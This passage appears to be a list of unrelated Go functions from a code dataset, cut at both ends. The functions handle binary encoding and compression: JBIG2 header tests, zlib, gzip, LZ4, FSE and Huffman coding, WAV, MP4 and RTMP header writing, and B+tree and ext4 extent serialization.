00000001 00000000 00000010\n\t\t// 00000000 00000001 00000000 00000011\n\t\t// ...................................\n\t\t// 00000000 00000001 00000001 00000000 - the last referred to segment number\n\t\t// 00000000 00000000 00000001 00000000 - 0x00, 0x00, 0x01, 0x00 - segment page association\n\t\t// 00000000 00000000 00000000 01000000 - 0x00, 0x00, 0x00, 0x40 - segment data length\n\t\t//\n\t\t// at total 4 + 1 + 37 + 4 * 256 + 4 + 4 = 1074 bytes\n\t\tf := assert.Equal(t, 1074, n)\n\t\texpected := []byte{\n\t\t\t0x00, 0x01, 0x00, 0x00, // segment number\n\t\t\t0x64, // header flags\n\t\t\t0xE0, 0x00, 0x01, 0x00, // number of referred to segments and '7' bitwise value on the first three bits.\n\t\t}\n\n\t\t// seed the retain flags\n\t\tfor i := 0; i < 33; i++ {\n\t\t\texpected = append(expected, 0x00)\n\t\t}\n\n\t\t// initialize referred to segment numbers\n\t\treferedToSegments := make([]byte, 4*256)\n\t\tfor i := 0; i < 256; i++ {\n\t\t\tbinary.BigEndian.PutUint32(referedToSegments[i*4:], uint32(i)+initial.SegmentNumber)\n\t\t}\n\t\texpected = append(expected, referedToSegments...)\n\t\t// append the page info segment and the segment data length\n\t\texpected = append(expected, []byte{0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x40}...)\n\n\t\t// the writer data should be equal to the 'expected' data.\n\t\ts := assert.Equal(t, expected, w.Data())\n\t\trequire.True(t, f && s)\n\n\t\t// check if the decoder would decode that header.\n\t\tr := reader.New(append(w.Data(), make([]byte, 64)...))\n\t\t// initialize testing document with the page no 256\n\t\td := &document{pages: make([]Pager, 257)}\n\t\t// initialize page segments\n\t\tp := &page{segments: make([]*Header, 65537+256)}\n\t\t// fill the page with segments\n\t\tfor i := 0; i < 256; i++ {\n\t\t\tp.segments[65536+i] = &Header{}\n\t\t}\n\t\t// set the document's page to 'p'\n\t\td.pages[255] = p\n\n\t\t// try to decode the header.\n\t\th, err := NewHeader(d, r, 0, OSequential)\n\t\trequire.NoError(t, err)\n\n\t\tassert.Equal(t, initial.PageAssociation, h.PageAssociation)\n\t\tassert.Equal(t, initial.SegmentDataLength, h.SegmentDataLength)\n\t\tassert.Equal(t, initial.SegmentNumber, h.SegmentNumber)\n\t\tassert.Equal(t, initial.Type, h.Type)\n\t\tassert.Equal(t, initial.RTSNumbers, h.RTSNumbers)\n\t\tassert.True(t, h.PageAssociationFieldSize)\n\t})\n}", "func (c *ZLIB) Encode(decodedData []byte) ([]byte, error) {\n\tvar encodedData bytes.Buffer\n\n\tw, err := zlib.NewWriterLevel(&encodedData, zlibCompressionLevel)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, err = w.Write(decodedData)\n\tw.Close()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Add ZLIB section header containing the compressed size and zero padding.\n\tzlib_header := make([]byte, zlibSectionHeaderSize)\n\tbinary.LittleEndian.PutUint32(\n\t\tzlib_header[zlibSizeOffset:],\n\t\tuint32(len(encodedData.Bytes())),\n\t)\n\treturn append(zlib_header, encodedData.Bytes()[:]...), nil\n}", "func (e *Encoder) Close() error {\n\tif e.p != 0 {\n\t\t_, err := e.w.Write(e.buf[:e.p])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\taudioBytes := e.n * int64(e.f.Bytes())\n\t_, err := e.w.Seek(4, os.SEEK_SET)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbuf := make([]byte, 4)\n\tbinary.LittleEndian.PutUint32(buf, uint32(audioBytes)+uint32(e.f.chunkSize())+uint32(chunkHdrSize))\n\t_, err = e.w.Write(buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = e.w.Seek(hdrChunkSize+int64(e.f.chunkSize())+chunkHdrSize-4, os.SEEK_SET)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbinary.LittleEndian.PutUint32(buf, uint32(audioBytes))\n\t_, err = e.w.Write(buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn e.w.Close()\n}", "func (node *URLNode) WriteTree(writer io.Writer) {\n\tif _, err := writer.Write([]byte(node.GenerateTree())); err != nil {\n\t\tlog.Error(err)\n\t}\n}", "func writeTree(in *inode, disk []byte, root *disklayout.ExtentNode, mockExtentBlkSize uint64) []byte {\n\trootData := binary.Marshal(nil, binary.LittleEndian, root.Header)\n\tfor _, ep := range root.Entries {\n\t\trootData = binary.Marshal(rootData, binary.LittleEndian, ep.Entry)\n\t}\n\n\tcopy(in.diskInode.Data(), rootData)\n\n\tvar fileData []byte\n\tfor _, ep := range root.Entries {\n\t\tif root.Header.Height == 0 {\n\t\t\tfileData = append(fileData, writeFileDataToExtent(disk, ep.Entry.(*disklayout.Extent))...)\n\t\t} else {\n\t\t\tfileData = append(fileData, writeTreeToDisk(disk, ep)...)\n\t\t}\n\t}\n\treturn fileData\n}", "func (lId *LangId) WriteGzip() error {\n\tbb := new(bytes.Buffer)\n\tjsonData, err := json.Marshal(&lId)\n\tif err != nil {\n\t\treturn err\n\t} else if err = json.Indent(bb, jsonData, \"\", \"\\t\"); err == nil {\n\t\tf, err := os.Create(lId.filename)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer f.Close()\n\t\tw, err := gzip.NewWriterLevel(f, 9)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer w.Close()\n\t\t_, err = w.Write(bb.Bytes())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tw.Flush()\n\t}\n\treturn err\n}", "func (d *decoder) createTree() *node {\n\tif val, _ := readBit(d.r); val {\n\t\treturn &node{readByte(d.r), -1, false, nil, nil}\n\t} else if d.numChars != d.numCharsDecoded {\n\t\tleft := d.createTree()\n\t\tright := d.createTree()\n\t\treturn &node{0, -1, true, left, right}\n\t}\n\n\treturn nil\n}", "func (t *transposedChunkWriter) Encode() ([]byte, error) {\n\tif err := t.Close(); err != nil {\n\t\treturn nil, fmt.Errorf(\"closing transposedChunkWriter: %v\", err)\n\t}\n\n\t// TODO(schroederc): split buffers into multiple buckets\n\tdata, err := newCompressor(t.opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbufferIndices := make(map[nodeID]int)\n\tvar bufferIdx int\n\tvar bufferSizes []int\n\tfor _, bufs := range t.data {\n\t\tfor _, buf := range bufs {\n\t\t\tbufferIdx++\n\t\t\tbufferIndices[buf.id] = bufferIdx\n\t\t\tbufferSizes = append(bufferSizes, buf.writer.Len())\n\t\t\tif _, err := io.Copy(data, buf.writer); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"compressing buffer: %v\", err)\n\t\t\t}\n\t\t}\n\t}\n\tif t.nonProtoLengths.Len() > 0 {\n\t\tbufferSizes = append(bufferSizes, t.nonProtoLengths.Len())\n\t\tif _, err := io.Copy(data, &t.nonProtoLengths); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"compressing non_proto_length: %v\", err)\n\t\t}\n\t}\n\tif err := data.Close(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tstates, ts, init, err := t.buildStateMachine(bufferIndices)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbuf := bytes.NewBuffer(nil)\n\tbuf.WriteByte(byte(t.opts.compressionType()))\n\n\t// Encode header\n\thdr, err := newCompressor(t.opts)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if err := t.encodeHeader(hdr, states, init, data.Len(), bufferSizes); err != nil {\n\t\treturn nil, err\n\t} else if err := hdr.Close(); err != nil {\n\t\treturn nil, err\n\t} else if _, err := writeUvarint(buf, uint64(hdr.Len())); err != nil {\n\t\treturn nil, fmt.Errorf(\"writing header_length: %v\", err)\n\t} else if _, err := hdr.WriteTo(buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Encode data bucket\n\tif _, err := data.WriteTo(buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Encode transitions\n\ttransitions, err := newCompressor(t.opts)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if _, err := transitions.Write(ts); err != nil {\n\t\treturn nil, err\n\t} else if err := transitions.Close(); err != nil {\n\t\treturn nil, err\n\t} else if _, err := transitions.WriteTo(buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}", "func (w *File) Write() (err error) {\n\tf, err := os.OpenFile((*w).FileName, (os.O_WRONLY | os.O_CREATE | os.O_TRUNC), 0644)\n\tdefer f.Close()\n\tif err != nil {\n\t\treturn\n\t}\n\tif err = binary.Write(f, binary.LittleEndian, w.Header); err != nil {\n\t\treturn\n\t}\n\t// TODO: Writing out the extension data chunk is not addressed here.\n\tif err = binary.Write(f, binary.LittleEndian, w.DataChunk); err != nil {\n\t\treturn\n\t}\n\tif err = binary.Write(f, binary.LittleEndian, w.Samples); err != nil {\n\t\treturn\n\t}\n\treturn\n}", "func writerCompressBlock(c chan zResult, header Header, data []byte) {\n\tzdata := getBuffer(header.BlockMaxSize)\n\t// The compressed block size cannot exceed the input's.\n\tvar zn int\n\tif level := header.CompressionLevel; level != 0 {\n\t\tzn, _ = CompressBlockHC(data, zdata, level)\n\t} else {\n\t\tvar hashTable [winSize]int\n\t\tzn, _ = CompressBlock(data, zdata, hashTable[:])\n\t}\n\tvar res zResult\n\tif zn > 0 && zn < len(data) {\n\t\tres.size = uint32(zn)\n\t\tres.data = zdata[:zn]\n\t\t// release the uncompressed block since it is not used anymore\n\t\tputBuffer(header.BlockMaxSize, data)\n\t} else {\n\t\tres.size = uint32(len(data)) | compressedBlockFlag\n\t\tres.data = data\n\t\t// release the compressed block since it was not used\n\t\tputBuffer(header.BlockMaxSize, zdata)\n\t}\n\tif header.BlockChecksum {\n\t\tres.checksum = xxh32.ChecksumZero(res.data)\n\t}\n\tc <- res\n}", "func compress(src []byte, dest io.Writer, level int) {\n\tcompressor, _ := flate.NewWriter(dest, level)\n\tcompressor.Write(src)\n\tcompressor.Close()\n}", "func (t *Tfhd) Write() []byte {\n\tbuf := new(bytes.Buffer)\n\tvar err error\n\t// Size\n\terr = binary.Write(buf, binary.BigEndian, t.Size)\n\tif err != nil {\n\t\tfmt.Println(\"binary.Write failed:\", err)\n\t}\n\t// BoxType\n\terr = binary.Write(buf, binary.BigEndian, t.BoxType)\n\tif err != nil {\n\t\tfmt.Println(\"binary.Write failed:\", err)\n\t}\n\t//version\n\terr = binary.Write(buf, binary.BigEndian, t.Version)\n\tif err != nil {\n\t\tfmt.Println(\"binary.Write failed:\", err)\n\t}\n\t//flags\n\terr = binary.Write(buf, binary.BigEndian, t.Flags)\n\tif err != nil {\n\t\tfmt.Println(\"binary.Write failed:\", err)\n\t}\n\t//trackID\n\terr = binary.Write(buf, binary.BigEndian, t.TrackID)\n\tif err != nil {\n\t\tfmt.Println(\"binary.Write failed:\", err)\n\t}\n\tif t.BaseDataOffset != 0 {\n\t\terr = binary.Write(buf, binary.BigEndian, t.BaseDataOffset)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"binary.Write failed:\", err)\n\t\t}\n\t}\n\tif t.SampleDescriptionIndex != 0 {\n\t\terr = binary.Write(buf, binary.BigEndian, t.SampleDescriptionIndex)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"binary.Write failed:\", err)\n\t\t}\n\t}\n\tif t.DefaultSampleDuration != 0 {\n\t\terr = binary.Write(buf, binary.BigEndian, t.DefaultSampleDuration)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"binary.Write failed:\", err)\n\t\t}\n\t}\n\tif t.DefaultSampleSize != 0 {\n\t\terr = binary.Write(buf, binary.BigEndian, t.DefaultSampleSize)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"binary.Write failed:\", err)\n\t\t}\n\t}\n\tif t.DefaultSampleFlags != 0 {\n\t\terr = binary.Write(buf, binary.BigEndian, t.DefaultSampleFlags)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"binary.Write failed:\", err)\n\t\t}\n\t}\n\treturn buf.Bytes()\n}", "func (t *BPTree) WriteNodes(rwMode RWMode, syncEnable bool, flag int) error {\n\tvar (\n\t\tn *Node\n\t\ti int\n\t\terr error\n\t)\n\n\tfd, err := os.OpenFile(t.Filepath, os.O_CREATE|os.O_RDWR, 0644)\n\tdefer fd.Close()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tqueue = nil\n\n\tenqueue(t.root)\n\n\tfor queue != nil {\n\t\tn = dequeue()\n\n\t\t_, err := t.WriteNode(n, -1, syncEnable, fd)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif n != nil {\n\t\t\tif !n.isLeaf {\n\t\t\t\tfor i = 0; i <= n.KeysNum; i++ {\n\t\t\t\t\tc, _ := n.pointers[i].(*Node)\n\t\t\t\t\tenqueue(c)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (s *fseEncoder) writeCount(out []byte) ([]byte, error) {\n\tif s.useRLE {\n\t\treturn append(out, s.rleVal), nil\n\t}\n\tif s.preDefined || s.reUsed {\n\t\t// Never write predefined.\n\t\treturn out, nil\n\t}\n\n\tvar (\n\t\ttableLog = s.actualTableLog\n\t\ttableSize = 1 << tableLog\n\t\tprevious0 bool\n\t\tcharnum uint16\n\n\t\t// maximum header size plus 2 extra bytes for final output if bitCount == 0.\n\t\tmaxHeaderSize = ((int(s.symbolLen) * int(tableLog)) >> 3) + 3 + 2\n\n\t\t// Write Table Size\n\t\tbitStream = uint32(tableLog - minEncTablelog)\n\t\tbitCount = uint(4)\n\t\tremaining = int16(tableSize + 1) /* +1 for extra accuracy */\n\t\tthreshold = int16(tableSize)\n\t\tnbBits = uint(tableLog + 1)\n\t\toutP = len(out)\n\t)\n\tif cap(out) < outP+maxHeaderSize {\n\t\tout = append(out, make([]byte, maxHeaderSize*3)...)\n\t\tout = out[:len(out)-maxHeaderSize*3]\n\t}\n\tout = out[:outP+maxHeaderSize]\n\n\t// stops at 1\n\tfor remaining > 1 {\n\t\tif previous0 {\n\t\t\tstart := charnum\n\t\t\tfor s.norm[charnum] == 0 {\n\t\t\t\tcharnum++\n\t\t\t}\n\t\t\tfor charnum >= start+24 {\n\t\t\t\tstart += 24\n\t\t\t\tbitStream += uint32(0xFFFF) << bitCount\n\t\t\t\tout[outP] = byte(bitStream)\n\t\t\t\tout[outP+1] = byte(bitStream >> 8)\n\t\t\t\toutP += 2\n\t\t\t\tbitStream >>= 16\n\t\t\t}\n\t\t\tfor charnum >= start+3 {\n\t\t\t\tstart += 3\n\t\t\t\tbitStream += 3 << bitCount\n\t\t\t\tbitCount += 2\n\t\t\t}\n\t\t\tbitStream += uint32(charnum-start) << bitCount\n\t\t\tbitCount += 2\n\t\t\tif bitCount > 16 {\n\t\t\t\tout[outP] = byte(bitStream)\n\t\t\t\tout[outP+1] = byte(bitStream >> 8)\n\t\t\t\toutP += 2\n\t\t\t\tbitStream >>= 16\n\t\t\t\tbitCount -= 16\n\t\t\t}\n\t\t}\n\n\t\tcount := s.norm[charnum]\n\t\tcharnum++\n\t\tmax := (2*threshold - 1) - remaining\n\t\tif count < 0 {\n\t\t\tremaining += count\n\t\t} else {\n\t\t\tremaining -= count\n\t\t}\n\t\tcount++ // +1 for extra accuracy\n\t\tif count >= threshold {\n\t\t\tcount += max // [0..max[ [max..threshold[ (...) [threshold+max 2*threshold[\n\t\t}\n\t\tbitStream += uint32(count) << bitCount\n\t\tbitCount += nbBits\n\t\tif count < max {\n\t\t\tbitCount--\n\t\t}\n\n\t\tprevious0 = count == 1\n\t\tif remaining < 1 {\n\t\t\treturn nil, errors.New(\"internal error: remaining < 1\")\n\t\t}\n\t\tfor remaining < threshold {\n\t\t\tnbBits--\n\t\t\tthreshold >>= 1\n\t\t}\n\n\t\tif bitCount > 16 {\n\t\t\tout[outP] = byte(bitStream)\n\t\t\tout[outP+1] = byte(bitStream >> 8)\n\t\t\toutP += 2\n\t\t\tbitStream >>= 16\n\t\t\tbitCount -= 16\n\t\t}\n\t}\n\n\tif outP+2 > len(out) {\n\t\treturn nil, fmt.Errorf(\"internal error: %d > %d, maxheader: %d, sl: %d, tl: %d, normcount: %v\", outP+2, len(out), maxHeaderSize, s.symbolLen, int(tableLog), s.norm[:s.symbolLen])\n\t}\n\tout[outP] = byte(bitStream)\n\tout[outP+1] = byte(bitStream >> 8)\n\toutP += int((bitCount + 7) / 8)\n\n\tif charnum > s.symbolLen {\n\t\treturn nil, errors.New(\"internal error: charnum > s.symbolLen\")\n\t}\n\treturn out[:outP], nil\n}", "func encodeToHuffmanCodes(uncompressed *vector.Vector, codes *dictionary.Dictionary) *vector.Vector {\n\tencodedHuffmanCodes := vector.New()\n\n\tfor i := 0; i < uncompressed.Size(); i++ {\n\t\tbyt := uncompressed.MustGet(i)\n\n\t\tiCode, _ := codes.Get(byt)\n\t\tcode := iCode.(*vector.Vector)\n\n\t\tfor j := 0; j < code.Size(); j++ {\n\t\t\tencodedHuffmanCodes.Append(code.MustGet(j))\n\t\t}\n\t}\n\n\treturn encodedHuffmanCodes\n}", "func writeReadSymbol(t *testing.T, syms []Symbol, eof Symbol, freq []int) {\n\n\tbuf := NewBitBuffer()\n\n\tif buf.Size() != 0 {\n\t\tt.Fatal(\"non empty buffer ?\")\n\t}\n\n\t// write all symbols\n\tw := newWriter(buf, eof, freq)\n\t//fmt.Println(\"DEBUG : initial writer\", freq)\n\tw.Dump()\n\n\tfor i, s := range syms {\n\t\terr := w.WriteSymbol(s)\n\t\tif err != nil {\n\t\t\tw.Dump()\n\t\t\tt.Log(\"Last symbol written\", syms[:i+1])\n\t\t\tt.Log(\"error :\", err)\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n\n\t// Compression ratio\n\tfmt.Println(\"Compressed from\\t\", len(syms)*8, \" bits\\tto\", buf.Size(), \" bits\")\n\tif buf.Size() >= len(syms)*8 {\n\t\tt.Fatal(\"no actual compression !?\")\n\t}\n\n\t// read all symbols\n\tr := newReader(buf, eof, freq)\n\t//fmt.Println(\"DEBUG : initial reader\", freq)\n\tr.Dump()\n\tvar got []Symbol\n\tfor buf.Size() > 0 {\n\t\ts, err := r.ReadSymbol()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tr.Dump()\n\t\t\tt.Fatal(\"Unexpected Read error : \", s, err)\n\t\t}\n\t\tgot = append(got, s)\n\n\t}\n\n\tif len(got) != len(syms) {\n\t\t//r.Dump()\n\t\tt.Log(\"Got : \", got)\n\t\tt.Log(\"Want : \", syms)\n\t\tpanic(\"Length do not match !\")\n\t}\n\tfor s := range got {\n\t\tif got[s] != syms[s] {\n\t\t\tr.Dump()\n\t\t\tt.Log(\"Got : \", got)\n\t\t\tt.Log(\"Want : \", syms)\n\t\t\tt.Fail()\n\t\t}\n\t}\n\n\t// Compare read and write weights\n\tfor i := range freq {\n\t\tif r.engine.nodes[i].weight != w.engine.nodes[i].weight {\n\t\t\tfmt.Println(\"DEBUG : current writer\", freq)\n\t\t\tw.Dump()\n\t\t\tfmt.Println(\"DEBUG : current reader\", freq)\n\t\t\tr.Dump()\n\t\t\tt.Fatal(\"weight do not match !\")\n\t\t}\n\t\tif r.engine.actfreq[i] != w.engine.actfreq[i] {\n\t\t\tfmt.Println(\"DEBUG : current writer\", freq)\n\t\t\tw.Dump()\n\t\t\tfmt.Println(\"DEBUG : current reader\", freq)\n\t\t\tr.Dump()\n\t\t\tt.Fatal(\"actual frequencies do not match !\")\n\t\t}\n\n\t}\n}", "func (z *zpaqWriter) writeFile(w *writer, b []byte) (int, error) {\n\tc1 := z.c1\n\n\tfor i, c := range b {\n\t\tsplit := false\n\t\tv := sigmap[c]\n\t\tif len(v) > 0 && i < len(b)-6 {\n\t\t\tfor _, s := range v {\n\t\t\t\tsplit = true\n\t\t\t\tfor j, expect := range s {\n\t\t\t\t\tif b[j+1] != expect {\n\t\t\t\t\t\tsplit = false\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif c == z.o1[c1] {\n\t\t\tz.h = (z.h + uint32(c) + 1) * 314159265\n\t\t} else {\n\t\t\tz.h = (z.h + uint32(c) + 1) * 271828182\n\t\t}\n\t\tz.o1[c1] = c\n\t\tc1 = c\n\t\tw.cur[w.off] = c\n\t\tw.off++\n\n\t\t// Filled the buffer? Send it off!\n\t\tif w.off >= z.minFragment && (z.h < z.maxHash || split || w.off >= z.maxFragment) {\n\t\t\tb := <-w.buffers\n\t\t\t// Swap block with current\n\t\t\tw.cur, b.data = b.data[:w.maxSize], w.cur[:w.off]\n\t\t\tb.N = w.nblocks\n\n\t\t\tw.input <- b\n\t\t\tw.write <- b\n\t\t\tw.nblocks++\n\t\t\tw.off = 0\n\t\t\tz.h = 0\n\t\t\tc1 = 0\n\t\t}\n\t}\n\tz.c1 = c1\n\treturn len(b), nil\n}", "func (f *Fragment) Encode(w io.Writer) error {\n\ttraf := f.Moof.Traf\n\terr := traf.OptimizeTfhdTrun()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, b := range f.Children {\n\t\terr := b.Encode(w)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func writeFormat(file *os.File, index int64, size int64) {\n\tformat := make([]int8, size)\n\tfile.Seek(index, 0)\n\t//Empezamos el proceso de guardar en binario la data en memoria del struct\n\tvar binaryDisc bytes.Buffer\n\tbinary.Write(&binaryDisc, binary.BigEndian, &format)\n\twriteNextBytes(file, binaryDisc.Bytes())\n}", "func (t *trs80) writeHeader() {\n\th := t.pb.Header\n\tt.writeIntLn(h.Unknown0)\n\tt.writeIntLn(h.NumItems - 1) // adjustment intended\n\tt.writeIntLn(h.NumActions - 1) // adjustment intended\n\tt.writeIntLn(h.NumWords - 1) // adjustment intended\n\tt.writeIntLn(h.NumRooms - 1) // adjustment intended\n\tt.writeIntLn(h.MaxInventory)\n\tt.writeIntLn(h.StartingRoom)\n\tt.writeIntLn(h.NumTreasures)\n\tt.writeIntLn(h.WordLength)\n\tt.writeIntLn(h.LightDuration)\n\tt.writeIntLn(h.NumMessages - 1) // adjustment intended\n\tt.writeIntLn(h.TreasureRoom)\n}", "func decodeHuffmanCode(codes *vector.Vector, index int, root *huffmanTreeNode, to *vector.Vector) (int, error) {\n\tif root == nil {\n\t\treturn 0, errors.New(\"No prefix tree supplied\")\n\t}\n\n\tif isLeafNode(root) {\n\t\tto.Append(root.value)\n\t\treturn index, nil\n\t}\n\n\tnext := codes.MustGet(index)\n\tswitch next {\n\tcase byte(0):\n\t\treturn decodeHuffmanCode(codes, index+1, root.left, to)\n\tcase byte(1):\n\t\treturn decodeHuffmanCode(codes, index+1, root.right, to)\n\tdefault:\n\t\treturn 0, fmt.Errorf(\"An unexpected symbol %x found in the compressed data\", next)\n\t}\n}", "func (header *Header) Write(wbuf Writer) (n int, err error) {\n\t// Write fmt & Chunk stream ID\n\tswitch {\n\tcase header.ChunkStreamID <= 63:\n\t\terr = wbuf.WriteByte(byte((header.Fmt << 6) | byte(header.ChunkStreamID)))\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 1\n\tcase header.ChunkStreamID <= 319:\n\t\terr = wbuf.WriteByte(header.Fmt << 6)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 1\n\t\terr = wbuf.WriteByte(byte(header.ChunkStreamID - 64))\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 1\n\tcase header.ChunkStreamID <= 65599:\n\t\terr = wbuf.WriteByte((header.Fmt << 6) | 0x01)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 1\n\t\ttmp := uint16(header.ChunkStreamID - 64)\n\t\terr = binary.Write(wbuf, binary.BigEndian, &tmp)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 2\n\tdefault:\n\t\treturn n, errors.New(\"Unsupport chunk stream ID large then 65599\")\n\t}\n\ttmpBuf := make([]byte, 4)\n\tvar m int\n\tswitch header.Fmt {\n\tcase HEADER_FMT_FULL:\n\t\t// Timestamp\n\t\tbinary.BigEndian.PutUint32(tmpBuf, header.Timestamp)\n\t\tm, err = wbuf.Write(tmpBuf[1:])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += m\n\t\t// Message Length\n\t\tbinary.BigEndian.PutUint32(tmpBuf, header.MessageLength)\n\t\tm, err = wbuf.Write(tmpBuf[1:])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += m\n\t\t// Message Type\n\t\terr = wbuf.WriteByte(header.MessageTypeID)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 1\n\t\t// Message Stream ID\n\t\terr = binary.Write(wbuf, binary.LittleEndian, &(header.MessageStreamID))\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 4\n\tcase HEADER_FMT_SAME_STREAM:\n\t\t// Timestamp\n\t\tbinary.BigEndian.PutUint32(tmpBuf, header.Timestamp)\n\t\tm, err = wbuf.Write(tmpBuf[1:])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += m\n\t\t// Message Length\n\t\tbinary.BigEndian.PutUint32(tmpBuf, header.MessageLength)\n\t\tm, err = wbuf.Write(tmpBuf[1:])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += m\n\t\t// Message Type\n\t\terr = wbuf.WriteByte(header.MessageTypeID)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 1\n\tcase HEADER_FMT_SAME_LENGTH_AND_STREAM:\n\t\t// Timestamp\n\t\tbinary.BigEndian.PutUint32(tmpBuf, header.Timestamp)\n\t\tm, err = wbuf.Write(tmpBuf[1:])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += m\n\tcase HEADER_FMT_CONTINUATION:\n\t}\n\n\t// Type 3 chunks MUST NOT have Extended timestamp????\n\t// Todo: Test with FMS\n\t// if header.Timestamp >= 0xffffff && header.Fmt != HEADER_FMT_CONTINUATION {\n\tif header.Timestamp >= 0xffffff {\n\t\t// Extended Timestamp\n\t\terr = binary.Write(wbuf, binary.BigEndian, &(header.ExtendedTimestamp))\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tn += 4\n\t}\n\treturn\n}", "func (fmt *FixedMerkleTree) Finalize() error {\n\tfmt.writeLock.Lock()\n\tdefer fmt.writeLock.Unlock()\n\n\tif fmt.isFinal {\n\t\treturn goError.New(\"already finalized\")\n\t}\n\tfmt.isFinal = true\n\tif fmt.writeCount > 0 {\n\t\treturn fmt.writeToLeaves(fmt.writeBytes[:fmt.writeCount])\n\t}\n\treturn nil\n}", "func (f lzwDecode) Encode(r io.Reader) (*bytes.Buffer, error) {\n\n\tlog.Debug.Println(\"EncodeLZW begin\")\n\n\tvar b bytes.Buffer\n\n\tec, ok := f.parms[\"EarlyChange\"]\n\tif !ok {\n\t\tec = 1\n\t}\n\n\twc := lzw.NewWriter(&b, ec == 1)\n\tdefer wc.Close()\n\n\twritten, err := io.Copy(wc, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Debug.Printf(\"EncodeLZW end: %d bytes written\\n\", written)\n\n\treturn &b, nil\n}", "func filenodehash(filename string,ch string,nodenum int64,readbitlen int64) []byte{\n\t//H(ch)is parsed into k indexes.\n\t//Calculate the hash value HCH of ch\n\tvar Hch string = GetSHA256HashCodeString(ch)\n\tvar Hchbyte, _ = hex.DecodeString(Hch)\n\t//Hch,_ := hex.DecodeString(ch)\n\tfmt.Println(\"Hch is \", Hch)\n\tfmt.Println(\"Hchbyte is \", Hchbyte)\n\t//Convert Hch to 01 string\n\tvar Hchstring string = biu.ToBinaryString(Hchbyte)\n\t//remove all \"[\"\n\tHchstring = strings.Replace(Hchstring, \"[\", \"\", -1)\n\t//remove all \"]\"\n\tHchstring = strings.Replace(Hchstring, \"]\", \"\", -1)\n\t//remove all space\n\tHchstring = strings.Replace(Hchstring, \" \", \"\", -1)\n\tfmt.Println(\"Hchstring is \", Hchstring)\n\t//convert nodenum to 01\n\tvar bittosting string = biu.ToBinaryString(nodenum)\n\n\tbittosting = strings.Replace(bittosting, \"[\", \"\", -1)\n\tbittosting = strings.Replace(bittosting, \"]\", \"\", -1)\n\tbittosting = strings.Replace(bittosting, \" \", \"\", -1)\n\tvar stringlen = len(bittosting)\n\n\tfmt.Println(\"nodenum is \", bittosting)\n\tfmt.Println(\"stringlen is \", stringlen)\n\n\tvar stringiter int = 0\n\tvar zerolen int = 0\n\tfor stringiter = 0; stringiter < stringlen; stringiter++ {\n\t\tif '0' != bittosting[stringiter] {\n\t\t\t//zerolen = stringiter + 1\n\t\t\tzerolen = stringiter\n\t\t\tbreak\n\t\t}\n\t}\n\n\tfmt.Println(\"zerolen is \", zerolen)\n\n\n\n\t//The calculation requires eachlen bits to represent the total number of leaf nodes.\n\t//For example, if the number of leaf nodes is 245441, 17 bits are needed to represent it\n\tvar eachlen uintptr = ((unsafe.Sizeof(nodenum) * 8) - uintptr(zerolen))\n\tfmt.Println(\"eachlen is \", eachlen)\n\n\n\n\t//由Hchstring切割得到原文件序号\n\tvar fileposition []int64\n\t//将Hchstring的bit字符串按每eachlen一份进行切割,生成[]string\n\tvar Hcharray []string = ChunkString(Hchstring, int(eachlen))\n\t//fmt.Println(\"chunkarray is \", chunkarray)\n\tvar filebititer int = 0\n\tfor filebititer = 0; filebititer < len(Hcharray); filebititer++ {\n\t\tvar tmpint int64 = 0\n\t\tvar partiter int = 0\n\t\tfor partiter = 0; partiter < len(Hcharray[filebititer]); partiter++ {\n\t\t\ttmpint = (tmpint << 